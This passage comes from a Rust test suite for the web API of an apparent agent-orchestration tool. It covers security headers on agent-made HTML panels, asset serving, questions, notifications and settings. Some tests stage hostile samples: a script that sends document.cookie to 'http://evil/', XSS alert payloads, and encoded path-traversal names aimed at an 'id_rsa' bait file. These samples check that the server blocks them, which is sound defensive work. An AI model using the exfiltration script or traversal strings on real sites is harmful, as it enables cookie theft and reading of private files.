7101 "0123456789abcdef".to_owned(),
7102 "task".to_owned(),
7103 Config::default(),
7104 );
7105 state.id = id.to_owned();
7106 state.status = status;
7107 let dir = runs.join(id);
7108 std::fs::create_dir_all(&dir).expect("run dir");
7109 std::fs::write(
7110 dir.join("run.json"),
7111 serde_json::to_string_pretty(&state).expect("serialize run"),
7112 )
7113 .expect("write run.json");
7114 }
7115
7116 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7117 let body = serde_json::json!({
7118 "schema": 1,
7119 "pid": 4242,
7120 "started_at": Timestamp::now().to_string(),
7121 "updated_at": updated_at.to_string(),
7122 "idle": false,
7123 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7124 "completed": 7,
7125 "polls": 143,
7126 });
7127 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7128 }
7129
7130 fn launch_idle(
7140 _opts: daemon::Opts,
7141 stop: daemon::Stop,
7142 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7143 Box::pin(async move {
7144 while !stop.stopped() {
7145 tokio::time::sleep(Duration::from_millis(2)).await;
7146 }
7147 Ok(())
7148 })
7149 }
7150
7151 fn launch_broken(
7154 _opts: daemon::Opts,
7155 _stop: daemon::Stop,
7156 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7157 Box::pin(async {
7158 Err(anyhow::anyhow!(
7159 "publish the daemon status file: read-only file system"
7160 ))
7161 })
7162 }
7163
7164 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7171 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7172
7173 fn launch_knocking_on_the_way_out(
7180 _opts: daemon::Opts,
7181 stop: daemon::Stop,
7182 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7183 Box::pin(async move {
7184 while !stop.stopped() {
7185 tokio::time::sleep(Duration::from_millis(2)).await;
7186 }
7187 let addr = PARK_KNOCK
7188 .lock()
7189 .expect("park knock")
7190 .expect("the test set an address");
7191 let heard = request(addr, "GET", "/api/health", None).await.status;
7192 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7193 Ok(())
7194 })
7195 }
7196
7197 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7206 for _ in 0..SETTLE_STEPS {
7207 let view = fx.get("/api/loop").await.json();
7208 if want(&view) {
7209 return view;
7210 }
7211 tokio::time::sleep(Duration::from_millis(10)).await;
7212 }
7213 panic!(
7214 "the loop never settled: {}",
7215 fx.get("/api/loop").await.json()
7216 );
7217 }
7218
7219 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7221 let store = fx.questions();
7222 let mut q = Question::new(
7223 "20260902-000000-beef".to_owned(),
7224 "implement".to_owned(),
7225 "impl-A".to_owned(),
7226 summary.to_owned(),
7227 "because it matters".to_owned(),
7228 choices.iter().map(|c| (*c).to_owned()).collect(),
7229 );
7230 store.put(&mut q).expect("put question");
7231 q.id
7232 }
7233
7234 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7240 let store = fx.questions();
7241 let mut q = Question::new(
7242 "20260902-000000-beef".to_owned(),
7243 "land".to_owned(),
7244 "fix".to_owned(),
7245 "Merge this?".to_owned(),
7246 "the diff is in the panel".to_owned(),
7247 vec!["merge".to_owned(), "hold".to_owned()],
7248 );
7249 let staging = fx.home.path().join("staging");
7252 std::fs::create_dir_all(&staging).expect("staging dir");
7253 let sources: Vec<PathBuf> = assets
7254 .iter()
7255 .map(|(name, bytes)| {
7256 let path = staging.join(name);
7257 std::fs::write(&path, bytes).expect("write staged asset");
7258 path
7259 })
7260 .collect();
7261 store
7262 .put_panel(&mut q, html, &sources)
7263 .expect("write the panel");
7264 store.put(&mut q).expect("put question");
7265 q.id
7266 }
7267
7268 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7277 seed_talk_at(&fx.talks(), id, status)
7278 }
7279
7280 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7281 std::fs::create_dir_all(store.root()).expect("talks dir");
7282 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7283 .expect("serialize a seat");
7284 let body = serde_json::json!({
7285 "schema": 1,
7286 "id": id,
7287 "repo": "/repo/magi",
7288 "agent": "mock",
7289 "status": status,
7290 "turns": [],
7291 "created_at": Timestamp::now().to_string(),
7292 "updated_at": Timestamp::now().to_string(),
7293 "seat": seat,
7294 });
7295 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7296 store.get(id).expect("the seeded talk has to be readable");
7297 id.to_owned()
7298 }
7299
7300 #[tokio::test]
7301 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7302 let fx = Fixture::start().await;
7303 let id = panel(
7304 &fx,
7305 "<h1>Merge?</h1><img src=\"diff.svg\">",
7306 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7307 );
7308
7309 for path in [
7310 format!("/api/questions/{id}/panel"),
7311 format!("/api/questions/{id}/asset/diff.svg"),
7312 ] {
7313 let res = fx.get(&path).await;
7314 assert_eq!(res.status, 200, "{path}: {}", res.body);
7315 assert_eq!(
7321 res.header("content-security-policy"),
7322 Some(
7323 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7324 font-src data:; base-uri 'none'; form-action 'none'; \
7325 frame-ancestors 'self'"
7326 ),
7327 "{path} is the only thing between a hostile panel and the tailnet"
7328 );
7329 assert_eq!(
7330 res.header("x-content-type-options"),
7331 Some("nosniff"),
7332 "{path}: a browser must not re-decide the type we sent"
7333 );
7334 assert_eq!(
7335 res.header("referrer-policy"),
7336 Some("no-referrer"),
7337 "{path}: a panel must not leak the question id off the machine"
7338 );
7339
7340 let pre = fx.head(&path).await;
7345 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7346 assert_eq!(
7347 pre.header("content-security-policy"),
7348 res.header("content-security-policy"),
7349 "{path}: the preflight carries the same policy"
7350 );
7351 assert_eq!(
7352 pre.header("content-type"),
7353 res.header("content-type"),
7354 "{path}: the preflight carries the same type"
7355 );
7356 }
7357 }
7358
7359 #[tokio::test]
7360 async fn a_panel_reaches_the_browser_byte_for_byte() {
7361 let fx = Fixture::start().await;
7362 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7367 let id = panel(&fx, html, &[]);
7368
7369 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7370
7371 assert_eq!(res.status, 200);
7372 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7373 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7374 assert_eq!(
7375 res.header("content-disposition"),
7376 None,
7377 "the panel itself is rendered in the frame, not downloaded"
7378 );
7379 }
7380
7381 #[tokio::test]
7382 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7383 let fx = Fixture::start().await;
7384 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7385 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7386 let id = panel(
7387 &fx,
7388 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7389 &[("diff.svg", svg), ("shot.png", png)],
7390 );
7391
7392 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7393 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7394
7395 assert_eq!(as_svg.status, 200);
7396 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7397 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7402
7403 assert_eq!(as_png.status, 200);
7404 assert_eq!(as_png.header("content-type"), Some("image/png"));
7405 assert_eq!(
7406 as_png.header("content-disposition"),
7407 None,
7408 "a raster image has no execution surface, so tapping it still shows it"
7409 );
7410 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7411 }
7412
7413 #[tokio::test]
7414 async fn an_html_asset_is_never_served_as_html() {
7415 let fx = Fixture::start().await;
7416 let id = panel(
7417 &fx,
7418 "<p>see the notes</p>",
7419 &[
7420 (
7421 "notes.html",
7422 b"<script>fetch('http://evil/'+document.cookie)</script>",
7423 ),
7424 ("hook.js", b"fetch('http://evil/')"),
7425 ("data.json", b"{}"),
7426 ("HEADLINE.TXT", b"plain"),
7427 ],
7428 );
7429
7430 for name in ["notes.html", "hook.js", "data.json"] {
7431 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7432 assert_eq!(res.status, 200, "{name}: {}", res.body);
7433 assert_eq!(
7438 res.header("content-type"),
7439 Some("application/octet-stream"),
7440 "{name} must not be a type the browser will execute or render"
7441 );
7442 }
7443 let txt = fx
7446 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7447 .await;
7448 assert_eq!(
7449 txt.header("content-type"),
7450 Some("text/plain; charset=utf-8")
7451 );
7452 }
7453
7454 #[tokio::test]
7455 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7456 let fx = Fixture::start().await;
7457 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7458 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7462
7463 for encoded in [
7470 "%2e%2e%2fid_rsa",
7471 "..%2fid_rsa",
7472 "..%5cid_rsa",
7473 "%2e%2e%5cid_rsa",
7474 "diff%00.svg",
7475 "..",
7476 ".hidden",
7477 "%2e%2e%2f%2e%2e%2fid_rsa",
7478 ] {
7479 let res = fx
7480 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7481 .await;
7482 assert_eq!(
7483 res.status, 400,
7484 "`{encoded}` has to be refused by name, not looked up: {}",
7485 res.body
7486 );
7487 assert!(res.json()["error"].is_string(), "{}", res.body);
7488 }
7489
7490 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7496 let res = fx
7497 .get(&format!("/api/questions/{id}/asset/{literal}"))
7498 .await;
7499 assert_eq!(
7500 res.status, 404,
7501 "`{literal}` must not match the asset route at all: {}",
7502 res.body
7503 );
7504 }
7505 }
7506
7507 #[tokio::test]
7508 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7509 let fx = Fixture::start().await;
7510 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7511 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7512
7513 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7517 assert_eq!(none.status, 404, "{}", none.body);
7518 assert!(none.json()["error"].is_string(), "{}", none.body);
7519 assert_eq!(
7520 fx.head(&format!("/api/questions/{plain}/panel"))
7521 .await
7522 .status,
7523 404,
7524 "the preflight is the only way the client can learn this"
7525 );
7526
7527 let missing = fx
7529 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7530 .await;
7531 assert_eq!(missing.status, 404, "{}", missing.body);
7532 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7533
7534 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7536 assert_eq!(
7537 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7538 404
7539 );
7540 }
7541
7542 #[tokio::test]
7543 async fn a_run_with_an_open_question_reads_as_waiting() {
7544 let fx = Fixture::start().await;
7545 let run = "20260902-000000-beef".to_owned();
7546 write_run(&fx.runs(), &run, RunStatus::Implementing);
7547
7548 let before = fx.get("/api/runs").await.json();
7549 assert_eq!(before[0]["waiting"], false, "{before}");
7550
7551 let store = fx.questions();
7552 let mut q = Question::new(
7553 run.clone(),
7554 "implement".to_owned(),
7555 "impl-A".to_owned(),
7556 "Which backend?".to_owned(),
7557 String::new(),
7558 vec!["SQLite".to_owned()],
7559 );
7560 store.put(&mut q).expect("put");
7561
7562 let during = fx.get("/api/runs").await.json();
7563 assert_eq!(during[0]["waiting"], true, "{during}");
7564
7565 q.answer(Answer::Choice("SQLite".to_owned()))
7568 .expect("answer");
7569 store.put(&mut q).expect("put");
7570 let after = fx.get("/api/runs").await.json();
7571 assert_eq!(after[0]["waiting"], false, "{after}");
7572 }
7573
7574 #[tokio::test]
7575 async fn an_open_question_is_listed_and_counted_by_health() {
7576 let fx = Fixture::start().await;
7577 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7578
7579 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7580 let listed = fx.get("/api/questions").await.json();
7581 assert_eq!(listed.as_array().expect("array").len(), 1);
7582 assert_eq!(listed[0]["id"], id);
7583 assert_eq!(listed[0]["status"], "open");
7584 assert_eq!(listed[0]["choices"][1], "Redis");
7585 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7588 }
7589
7590 #[tokio::test]
7591 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7592 let fx = Fixture::start().await;
7593 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7594 let path = format!("/api/questions/{id}/answer");
7595
7596 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7597 assert_eq!(res.status, 200, "{}", res.body);
7598 let body = res.json();
7599 assert_eq!(body["status"], "answered");
7600 assert_eq!(body["answer"]["choice"], "Redis");
7601
7602 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7606 assert_eq!(again.status, 409, "{}", again.body);
7607 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7608 }
7609
7610 #[tokio::test]
7611 async fn saying_something_appends_a_turn_without_answering() {
7612 let fx = Fixture::start().await;
7613 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7614 let path = format!("/api/questions/{id}/say");
7615
7616 let res = fx
7617 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7618 .await;
7619 assert_eq!(res.status, 200, "{}", res.body);
7620 let body = res.json();
7621 assert_eq!(body["status"], "open", "talking back is not a decision");
7622 assert_eq!(body["answer"], Value::Null);
7623 assert_eq!(body["thread"][0]["who"], "operator");
7624 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7625 assert_eq!(body["waiting_on_agent"], true);
7626 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7628 }
7629
7630 #[tokio::test]
7631 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7632 let fx = Fixture::start().await;
7633 let store = fx.questions();
7634 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7635 assert_eq!(
7636 fx.get("/api/health").await.json()["questions_needs_owner"],
7637 1
7638 );
7639
7640 let res = fx
7646 .post(
7647 &format!("/api/questions/{id}/say"),
7648 Some(r#"{"body":"why not Postgres?"}"#),
7649 )
7650 .await;
7651 assert_eq!(res.status, 200, "{}", res.body);
7652 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7653 assert_eq!(
7654 fx.get("/api/health").await.json()["questions_needs_owner"],
7655 0,
7656 "waiting on the agent is not waiting on the owner"
7657 );
7658
7659 let mut q = store.get(&id).expect("get");
7663 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7664 .expect("reply");
7665 store.put(&mut q).expect("put");
7666 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7667 assert_eq!(
7668 fx.get("/api/health").await.json()["questions_needs_owner"],
7669 1,
7670 "the agent's reply is what should light the banner back up"
7671 );
7672 }
7673
7674 #[tokio::test]
7675 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7676 let fx = Fixture::start().await;
7677 let store = fx.questions();
7678
7679 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7680 let res = fx
7681 .post(
7682 &format!("/api/questions/{empty_id}/say"),
7683 Some(r#"{"body":" "}"#),
7684 )
7685 .await;
7686 assert_eq!(res.status, 400, "{}", res.body);
7687
7688 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7689 let mut answered = store.get(&answered_id).expect("get");
7690 answered
7691 .answer(Answer::Choice("SQLite".to_owned()))
7692 .expect("answer");
7693 store.put(&mut answered).expect("put");
7694 let res = fx
7695 .post(
7696 &format!("/api/questions/{answered_id}/say"),
7697 Some(r#"{"body":"still there?"}"#),
7698 )
7699 .await;
7700 assert_eq!(res.status, 409, "{}", res.body);
7701
7702 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7703 let mut abandoned = store.get(&abandoned_id).expect("get");
7704 abandoned.abandon("timed out");
7705 store.put(&mut abandoned).expect("put");
7706 let res = fx
7707 .post(
7708 &format!("/api/questions/{abandoned_id}/say"),
7709 Some(r#"{"body":"still there?"}"#),
7710 )
7711 .await;
7712 assert_eq!(res.status, 409, "{}", res.body);
7713 }
7714
7715 #[tokio::test]
7716 async fn an_answer_the_question_does_not_offer_is_refused() {
7717 let fx = Fixture::start().await;
7718 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7719 let path = format!("/api/questions/{id}/answer");
7720
7721 for body in [
7722 r#"{"choice":"Postgres"}"#,
7723 r#"{"text":"whatever you think"}"#,
7724 r#"{"choice":"Redis","text":"both"}"#,
7725 r#"{}"#,
7726 ] {
7727 let res = fx.post(&path, Some(body)).await;
7728 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7729 assert!(res.json()["error"].is_string(), "{}", res.body);
7730 }
7731 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7733 }
7734
7735 #[tokio::test]
7736 async fn a_free_text_question_takes_text_and_not_a_choice() {
7737 let fx = Fixture::start().await;
7738 let id = ask(&fx, "What should the flag be called?", &[]);
7739 let path = format!("/api/questions/{id}/answer");
7740
7741 assert_eq!(
7742 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7743 400
7744 );
7745 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7746 assert_eq!(res.status, 200, "{}", res.body);
7747 assert_eq!(res.json()["answer"]["text"], "--json");
7748 }
7749
7750 #[tokio::test]
7751 async fn an_unknown_question_is_a_json_404() {
7752 let fx = Fixture::start().await;
7753 let res = fx
7754 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7755 .await;
7756 assert_eq!(res.status, 404, "{}", res.body);
7757 assert!(res.json()["error"].is_string());
7758 }
7759
7760 #[tokio::test]
7761 async fn notifications_list_read_dismiss_and_health_agree() {
7762 let fx = Fixture::start().await;
7763 let store = Notices::at(fx.home.path().join("notifications"));
7764 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7765 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7766
7767 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7768 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7769
7770 let health = fx.get("/api/health").await.json();
7771 assert_eq!(health["notifications_unread"], 2);
7772 assert_ne!(
7773 health["notifications_rev"], rev0,
7774 "the badge must move live"
7775 );
7776
7777 let listed = fx.get("/api/notifications").await.json();
7778 assert_eq!(listed["unread"], 2);
7779 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7780 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7781
7782 let read = fx
7783 .post(&format!("/api/notifications/{}/read", a.id), None)
7784 .await;
7785 assert_eq!(read.status, 200, "{}", read.body);
7786 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7787
7788 let gone = fx
7789 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7790 .await;
7791 assert_eq!(gone.status, 200, "{}", gone.body);
7792 let listed = fx.get("/api/notifications").await.json();
7793 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7794 assert_eq!(listed["unread"], 0);
7795
7796 store.raise(Notice::info("x", "again")).unwrap();
7797 let all = fx.post("/api/notifications/read-all", None).await;
7798 assert_eq!(all.status, 200, "{}", all.body);
7799 assert_eq!(all.json()["marked"], 1);
7800 assert_eq!(
7801 fx.get("/api/health").await.json()["notifications_unread"],
7802 0
7803 );
7804
7805 let missing = fx.post("/api/notifications/nope/read", None).await;
7806 assert_eq!(missing.status, 404, "{}", missing.body);
7807 assert!(missing.json()["error"].is_string());
7808 }
7809
7810 #[tokio::test]
7817 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7818 let f = Fixture::start().await;
7819
7820 let res = f
7821 .post(
7822 "/api/queue",
7823 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7824 )
7825 .await;
7826
7827 assert_eq!(
7828 res.status, 405,
7829 "POST /api/queue must not be a route: {}",
7830 res.body
7831 );
7832 assert!(
7833 f.queue().list().is_empty(),
7834 "a task filed by a route that does not exist must not reach the disk"
7835 );
7836 assert_eq!(f.get("/api/queue").await.status, 200);
7839 }
7840
7841 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7843 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7844 .expect("checkout dir");
7845 }
7846
7847 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7849
7850 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7851 let tmp = TempDir::new().expect("tempdir");
7852 let repo = tmp.path().join("repo");
7853 std::fs::create_dir_all(&repo).expect("repo dir");
7854 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7855 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7856 if let Some(text) = machine_toml {
7857 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7858 std::fs::write(&machine, text).expect("machine toml");
7859 }
7860 (tmp, repo, machine)
7861 }
7862
7863 #[tokio::test]
7864 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7865 let (_tmp, repo, machine) =
7866 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7867 let f = Fixture::with_repo_and_machine(repo, machine).await;
7868 let res = f.get("/api/settings").await;
7869 assert_eq!(res.status, 200, "{}", res.body);
7870 let v = res.json();
7871 assert!(v["error"].is_null(), "{v}");
7872 let role = |k: &str| {
7873 v["roles"]
7874 .as_array()
7875 .and_then(|r| r.iter().find(|x| x["key"] == k))
7876 .cloned()
7877 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7878 };
7879 assert_eq!(role("judges")["source"], "machine");
7880 assert_eq!(role("judges")["editable"], true);
7881 assert_eq!(role("implementers")["source"], "default");
7882 let adv = role("advisors");
7883 assert_eq!(adv["fallback"], "judges");
7884 assert!(
7885 adv["seats"]
7886 .as_array()
7887 .is_some_and(|s| s.iter().all(|x| x == "b")),
7888 "{adv}"
7889 );
7890 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7891 assert_eq!(v["agents"][0]["source"], "repo");
7892 }
7893
7894 #[tokio::test]
7895 async fn settings_get_reports_a_config_that_does_not_parse() {
7896 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7897 let f = Fixture::with_repo_and_machine(repo, machine).await;
7898 let res = f.get("/api/settings").await;
7899 assert_eq!(res.status, 200, "{}", res.body);
7900 let v = res.json();
7901 assert!(v["error"]["message"].is_string(), "{v}");
7902 assert!(
7903 v["error"]["path"]
7904 .as_str()
7905 .is_some_and(|p| p.ends_with("magi.toml")),
7906 "{v}"
7907 );
7908 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7909 }
7910
7911 #[tokio::test]
7912 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7913 let (_tmp, repo, machine) = settings_dirs(
7914 SETTINGS_AGENTS,
7915 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7916 );
7917 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7918 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7919 let rev = f.get("/api/settings").await.json()["revision"]
7920 .as_str()
7921 .expect("revision")
7922 .to_owned();
7923 let body = serde_json::json!({
7924 "revision": rev,
7925 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7926 })
7927 .to_string();
7928 let res = f.put("/api/settings/roles", &body).await;
7929 assert_eq!(res.status, 200, "{}", res.body);
7930 let text = std::fs::read_to_string(&machine).expect("machine");
7931 assert_eq!(
7932 text,
7933 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7934 );
7935 assert_eq!(
7936 std::fs::read(repo.join("magi.toml")).expect("read"),
7937 repo_before
7938 );
7939 let again = f.get("/api/settings").await.json();
7940 let judges = again["roles"]
7941 .as_array()
7942 .expect("roles")
7943 .iter()
7944 .find(|r| r["key"] == "judges")
7945 .expect("judges")
7946 .clone();
7947 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7948 let stale = f.put("/api/settings/roles", &body).await;
7950 assert_eq!(stale.status, 409, "{}", stale.body);
7951 }
7952
7953 #[tokio::test]
7954 async fn settings_put_refuses_without_touching_the_file() {
7955 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7956 let (_tmp, repo, machine) = settings_dirs(
7957 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7958 Some(machine_text),
7959 );
7960 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7961 let rev = f.get("/api/settings").await.json()["revision"]
7962 .as_str()
7963 .expect("revision")
7964 .to_owned();
7965 for roles in [
7966 serde_json::json!({ "judges": ["nope"] }),
7967 serde_json::json!({ "reviewers": ["b"] }),
7968 serde_json::json!({ "bogus": ["a"] }),
7969 ] {
7970 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7971 let res = f.put("/api/settings/roles", &body).await;
7972 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7973 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7974 assert_eq!(
7975 std::fs::read_to_string(&machine).expect("machine"),
7976 machine_text
7977 );
7978 }
7979 }
7980
7981 #[tokio::test]
7982 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7983 let tmp = TempDir::new().expect("tempdir");
7984 let repo = tmp.path().join("repo");
7985 std::fs::create_dir_all(&repo).expect("repo dir");
7986 let root = tmp.path().join("root");
7987 make_checkout(&root, "github.com", "yukimemi", "magi");
7988 std::fs::write(
7989 repo.join("magi.toml"),
7990 format!(
7991 "[repos]\nroots = [{:?}]\n",
7992 root.to_string_lossy().into_owned()
7993 ),
7994 )
7995 .expect("write magi.toml");
7996
7997 let f = Fixture::with_repo(repo).await;
7998 let res = f.get("/api/repos").await;
7999 assert_eq!(res.status, 200, "{}", res.body);
8000 let list = res.json();
8001 let repos = list.as_array().expect("an array");
8002 assert_eq!(repos.len(), 1);
8003 assert_eq!(repos[0]["name"], "yukimemi/magi");
8004 assert!(
8005 repos[0]["path"]
8006 .as_str()
8007 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8008 "{list}"
8009 );
8010 }
8011
8012 #[tokio::test]
8013 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8014 let tmp = TempDir::new().expect("tempdir");
8015 let repo = tmp.path().join("repo");
8016 std::fs::create_dir_all(&repo).expect("repo dir");
8017 let root = tmp.path().join("root");
8018 make_checkout(&root, "github.com", "yukimemi", "magi");
8019 std::fs::write(
8020 repo.join("magi.toml"),
8021 format!(
8022 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8023 root.to_string_lossy().into_owned()
8024 ),
8025 )
8026 .expect("write magi.toml");
8027
8028 let f = Fixture::with_repo(repo).await;
8029 let first = f.get("/api/repos").await;
8030 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8031
8032 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8035 let second = f.get("/api/repos").await;
8036 assert_eq!(
8037 second.json().as_array().map(Vec::len),
8038 Some(1),
8039 "a fresh cache must not rescan inside the TTL"
8040 );
8041
8042 let refreshed = f.get("/api/repos?refresh=1").await;
8043 assert_eq!(
8044 refreshed.json().as_array().map(Vec::len),
8045 Some(2),
8046 "an explicit refresh must rescan even inside the TTL"
8047 );
8048 }
8049
8050 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8056
8057 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8061 let tmp = TempDir::new().expect("tempdir");
8062 let repo = tmp.path().join("repo");
8063 std::fs::create_dir_all(&repo).expect("repo dir");
8064 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8065 let f = Fixture::with_repo(repo.clone()).await;
8066 (tmp, repo, f)
8067 }
8068
8069 #[tokio::test]
8070 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8071 let (_tmp, _repo, f) = talk_fixture().await;
8072
8073 let opened = f.post("/api/talks", None).await;
8076 assert_eq!(opened.status, 201, "{}", opened.body);
8077 let body = opened.json();
8078 assert_eq!(body["status"], "open");
8079 assert_eq!(
8080 body["turns"].as_array().unwrap().len(),
8081 0,
8082 "opening takes no agent turn: there is nothing yet to answer"
8083 );
8084
8085 let also_opened = f.post("/api/talks", Some("{}")).await;
8087 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8088
8089 let listed = f.get("/api/talks").await.json();
8090 assert_eq!(listed.as_array().unwrap().len(), 2);
8091 }
8092
8093 #[tokio::test]
8094 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8095 let tmp = TempDir::new().expect("tempdir");
8096 let repo = tmp.path().join("repo");
8097 std::fs::create_dir_all(&repo).expect("repo dir");
8098 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8099 std::fs::write(
